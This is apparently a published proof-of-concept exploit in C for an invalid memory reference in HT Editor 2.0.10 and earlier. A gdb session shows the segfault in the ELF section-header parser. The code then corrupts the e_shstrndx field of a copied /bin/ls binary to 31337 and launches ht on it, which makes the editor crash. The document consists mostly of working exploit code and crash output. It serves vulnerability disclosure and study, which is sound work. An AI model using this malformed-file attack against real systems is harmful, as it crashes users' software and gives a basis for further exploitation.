/*
 *********** HT Editor <= 2.0.10 Invalid memory reference Proof of Concept ***************
 ***********             nitr0us <nitr0us [at] 0hday [dot] org             ***************
 *****************************************************************************************

nitr0us@fraktal:~/s0ftware/ht-2.0.10$ gdb ./ht -q
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) b  htelfsectionheaders_init
Breakpoint 1 at 0x8074490: file htelfshs.cc, line 94.
(gdb) r ht_poc
Breakpoint 1, htelfsectionheaders_init (b=0xbf854cac, file=0x81ae308, group=0x81ff9e0) at htelfshs.cc:94
   94 static ht_view *htelfsectionheaders_init(Bounds *b, File *file, ht_format_group *group)
(gdb) l
94      static ht_view *htelfsectionheaders_init(Bounds *b, File *file, ht_format_group *group)
95      {
96              ht_elf_shared_data *elf_shared=(ht_elf_shared_data *)group->get_shared_data();
97
98              ht_uformat_viewer *v = NULL;
(gdb)
99              bool elf_bigendian = elf_shared->ident.e_ident[ELF_EI_DATA]==ELFDATA2MSB;
100             if (elf_shared->ident.e_ident[ELF_EI_CLASS]==ELFCLASS32) {
101                     v=new ht_uformat_viewer();
102                     v->init(b, DESC_ELF_SECTION_HEADERS, VC_EDIT, file, group);
103
104                     registerAtom(ATOM_ELF_SH_TYPE, elf_sh_type);
105                     registerAtom(ATOM_ELF_SH_FLAGS, elf_sh_flags);
106
107                     FileOfs h=elf_shared->header32.e_shoff;
108
(gdb)
109                     ht_mask_sub *m=new ht_mask_sub();
110                     m->init(file, 0);
111
112                     char info[128];
113                     ht_snprintf(info, sizeof info, "* ELF section headers at offset 0x%08qx", h);
114
115                     m->add_mask(info);
116
117                     v->insertsub(m);
118
(gdb) l
119                     elf_shared->shnames = ht_malloc(elf_shared->sheaders.count * sizeof *elf_shared->shnames);
120                     FileOfs so=elf_shared->sheaders.sheaders32[elf_shared->header32.e_shstrndx].sh_offset;
121                     String s;
122                     for (uint i=0; i < elf_shared->sheaders.count; i++) {
123                             s = "?";
124
125                             file->seek(so+elf_shared->sheaders.sheaders32[i].sh_name);
126                             file->readStringz(s);
127
128                             char t[1024];
(gdb) c 
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x080748c2 in htelfsectionheaders_init (b=0xbf854cac, file=0x81ae308, group=0x81ff9e0) at htelfshs.cc:120
120                     FileOfs so=elf_shared->sheaders.sheaders32[elf_shared->header32.e_shstrndx].sh_offset;
(gdb) print elf_shared->header32.e_shstrndx 
$1 = 31337
(gdb) x/x elf_shared->sheaders.sheaders32[31337].sh_offset 
Cannot access memory at address 0x82e13a8
(gdb) x/i $eip
0x80748c2 <htelfsectionheaders_init+1074>:      mov    0x10(%edx,%eax,8),%ecx
(gdb) i r edx eax ecx
edx            0x81af330        135983920
eax            0x2640d  156685
ecx            0x1d30   7472
*/
#include<stdio.h>
#include<elf.h>
#include<fcntl.h>
#include<stdlib.h>
#include<unistd.h>
#include<sys/mman.h>
#include<sys/stat.h>

#define HT	"/usr/local/bin/ht"

int main()
{
	int		fd;
        char            *elfptr;
        struct stat     statinfo;
	Elf32_Ehdr	*hdr;

	system("cp /bin/ls ./ht_poc");

	if((fd = open("./ht_poc", O_RDWR)) == -1){
                perror("open");
                exit(-1);
        }

        if(fstat(fd, &statinfo) == -1){
                perror("stat");
                exit(-1);
        }

        if((elfptr = (char *) mmap(NULL, statinfo.st_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0)) == MAP_FAILED){
                perror("mmap");
                exit(-1);
        }

	hdr = (Elf32_Ehdr *) elfptr;
	hdr->e_shstrndx = 31337;

	if(msync(NULL, 0, MS_SYNC) == -1){
		perror("msync");
		exit(-1);
	}

	close(fd);

	printf("Executing ht with ./ht_poc ... It should fault\n");
	sleep(4);
	execl(HT, "ht", "./ht_poc", NULL);
	perror("execl");
}
